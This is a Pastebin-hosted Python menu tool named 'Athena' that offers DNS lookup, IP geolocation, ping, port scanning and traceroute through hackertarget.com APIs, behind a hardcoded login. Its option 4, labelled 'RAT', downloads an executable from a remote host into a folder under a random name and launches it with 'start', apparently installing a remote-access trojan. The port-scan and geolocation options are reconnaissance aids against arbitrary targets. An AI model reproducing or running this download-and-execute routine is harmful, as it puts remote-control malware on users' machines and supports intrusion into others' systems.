Advertisement
Guest User

Untitled

a guest
Feb 12th, 2019
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.88 KB | None | 0 0
  1. """
  2. Colors:
  3.  
  4.     Black   30
  5.    Red     31
  6.     Green   32
  7.     Yellow  33
  8.     Blue    34
  9.     Purple  35
  10.     Cyan    36
  11.     White   37
  12.  
  13. Code:
  14.    \x1b[1;37;40m
  15.  
  16. Example:
  17.    print("\x1b[1;36;40mHello World\x1b[1;37;40m")
  18.        
  19. """
  20. import urllib.request
  21. import socket
  22. import os
  23. import time
  24. import random
  25. import getpass
  26. from requests import get
  27.  
  28. def menu():
  29.     tool()
  30.    
  31. def login2():
  32.     login()
  33.  
  34. def login():
  35.     print("[+] Welcome to Athena [+]")
  36.     print("")
  37.     print("Login:\n")
  38.     username = "athena"
  39.     password = "athena1337"
  40.     print("")
  41.    
  42.     enterUser = input("\x1b[1;32;40mUsername:\x1b[1;37;40m ")
  43.     print("*Your password won't be visible as you type it.*")
  44.     enterPass = getpass.getpass("\x1b[1;32;40mPassword:\x1b[1;37;40m ")
  45.  
  46.     if enterUser == username and enterPass == password:
  47.         print("\nSuccessfully logged in, redirecting...")
  48.         time.sleep(2)
  49.         tool()
  50.  
  51.     else:
  52.         os.system('cls')
  53.         print("\x1b[1;31;40mUsername or password not found\x1b[1;37;40m")
  54.         login2()
  55.  
  56.        
  57. letters = 'abcdefhijklmnopqrstuvwxyz1234567890'
  58.  
  59. title = """\x1b[1;36;40m
  60. ▄▄▄     ▄▄▄█████▓ ██░ ██ ▓█████  ███▄    █  ▄▄▄      
  61. ▒████▄   ▓  ██▒ ▓▒▓██░ ██▒▓█   ▀  ██ ▀█   █ ▒████▄    
  62. ▒██  ▀█▄ ▒ ▓██░ ▒░▒██▀▀██░▒███   ▓██  ▀█ ██▒▒██  ▀█▄  
  63. ░██▄▄▄▄██░ ▓██▓ ░ ░▓█ ░██ ▒▓█  ▄ ▓██▒  ▐▌██▒░██▄▄▄▄██
  64. ▓█   ▓██▒ ▒██▒ ░ ░▓█▒░██▓░▒████▒▒██░   ▓██░ ▓█   ▓██▒
  65. ▒▒   ▓▒█░ ▒ ░░    ▒ ░░▒░▒░░ ▒░ ░░ ▒░   ▒ ▒  ▒▒   ▓▒█░
  66.  ▒   ▒▒ ░   ░     ▒ ░▒░ ░ ░ ░  ░░ ░░   ░ ▒░  ▒   ▒▒ ░
  67.  ░   ▒    ░       ░  ░░ ░   ░      ░   ░ ░   ░   ▒  
  68.      ░  ░         ░  ░  ░   ░  ░         ░       ░  ░
  69.                                                      
  70. \x1b[1;37;40m"""
  71.  
  72. randomName = random.choice(letters) + random.choice(letters) + random.choice(letters) + random.choice(letters) + random.choice(letters) + random.choice(letters)
  73.  
  74. name = socket.gethostname()
  75. os.system('cls')
  76.  
  77.  
  78.  
  79. def tool():
  80.     os.system('cls')
  81.     print(title)
  82.     print("\x1b[1;32;40m ~# Made by OSINTSec #~\x1b[1;37;40m")
  83.     print(" ")
  84.     print("Welcome, \x1b[1;33;40m" + name + "\x1b[1;37;40m.")
  85.     print(" ")
  86.     print('1. DNS Lookup\n2. IP Geo Locator\n3. Ping IP\n4. RAT\n5. Port Scanner\n6. Traceroute\n')
  87.     choice = input("Enter option: ")
  88.  
  89.     if choice == "1":
  90.  
  91.         os.system("cls")
  92.         print("\x1b[1;36;40mDNS Lookup\x1b[1;37;40m")
  93.         print("Example: google.com")
  94.         print(" ")
  95.        
  96.         ip = input("Enter Website: ")
  97.  
  98.         api = get("https://api.hackertarget.com/dnslookup/?q=" + ip).text
  99.  
  100.         print(api)
  101.         print(input("Press enter to back to menu"))
  102.         menu()
  103.  
  104.  
  105.     elif choice == "2":
  106.  
  107.         os.system("cls")
  108.         print("\x1b[1;36;40mIP Geo Locator\x1b[1;37;40m")
  109.         print(" ")
  110.        
  111.         ip = input("Enter IP: ")
  112.  
  113.         api = get("https://api.hackertarget.com/geoip/?q=" + ip).text
  114.  
  115.         print(api)
  116.  
  117.         print(" ")
  118.         print(input("Press enter to back to menu"))
  119.         menu()
  120.  
  121.  
  122.     elif choice == "3":
  123.         os.system("cls")
  124.         print("\x1b[1;36;40mPing IP\x1b[1;37;40m")
  125.         print(" ")
  126.         ip = input("Enter IP: ")
  127.  
  128.         print("Please wait...")
  129.  
  130.         api = get("https://api.hackertarget.com/nping/?q=" + ip).text
  131.  
  132.         print(api)
  133.  
  134.         print(input("Press enter to back to menu"))
  135.  
  136.         menu()
  137.  
  138.  
  139.     elif choice == "4":
  140.  
  141.         os.system("cls")
  142.         #url = 'http://OSINTSec.pls.dont-dox.me/hG7.exe'
  143.         url = 'http://osintec.pls.dont-dox.me/2aQ.exe'
  144.         path = '/Spooky/'
  145.         # Creates a folder to download the file. If the folder already exists, it downloads it to that folder and opens it.
  146.  
  147.         confirmation = input("You're about to rat yourself, are you sure? y/n\n")
  148.  
  149.         if confirmation == "y":
  150.  
  151.             try:
  152.                 print("Downloading RAT...")
  153.                 os.mkdir(path)
  154.                 urllib.request.urlretrieve(url, path + randomName +'.exe')
  155.                 print("RAT downloaded to " + "C:" + path)
  156.                 print(" ")
  157.                 os.system("start C:" + path + randomName + ".exe")
  158.                      
  159.             except:                
  160.                 urllib.request.urlretrieve(url, path + randomName +'.exe')
  161.                 print("RAT downloaded to " + "C:" + path)
  162.                 print(" ")
  163.                 os.system("start C:" + path + randomName + ".exe")
  164.  
  165.         elif confirmation == "n":
  166.             menu()
  167.         print(input("Press enter to back to menu"))
  168.         menu()
  169.  
  170.     elif choice == "5":
  171.  
  172.         os.system('cls')
  173.         print("\x1b[1;36;40mPort Scanner\x1b[1;37;40m")
  174.         print(" ")
  175.         ip = input("Enter IP: ")
  176.  
  177.         print("Please wait...")
  178.  
  179.         api = get("https://api.hackertarget.com/nmap/?q=" + ip).text
  180.  
  181.         print(api)
  182.         print(input("Press enter to back to menu"))
  183.         menu()
  184.  
  185.     elif choice == "6":
  186.         os.system('cls')
  187.         print("\x1b[1;36;40mTraceroute\x1b[1;37;40m")
  188.         print(" ")
  189.         ip = input("Enter IP/Website: ")
  190.         print("Please wait...")
  191.  
  192.         api = get("https://api.hackertarget.com/mtr/?q=" + ip).text
  193.  
  194.         print(api)
  195.  
  196.         print(input("Press enter to back to menu"))
  197.         menu()
  198.  
  199.  
  200.     else:
  201.         print("Invalid choice. Redirecting to menu...")
  202.         time.sleep(2)
  203.         os.system('cls')
  204.         menu()
  205. login()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement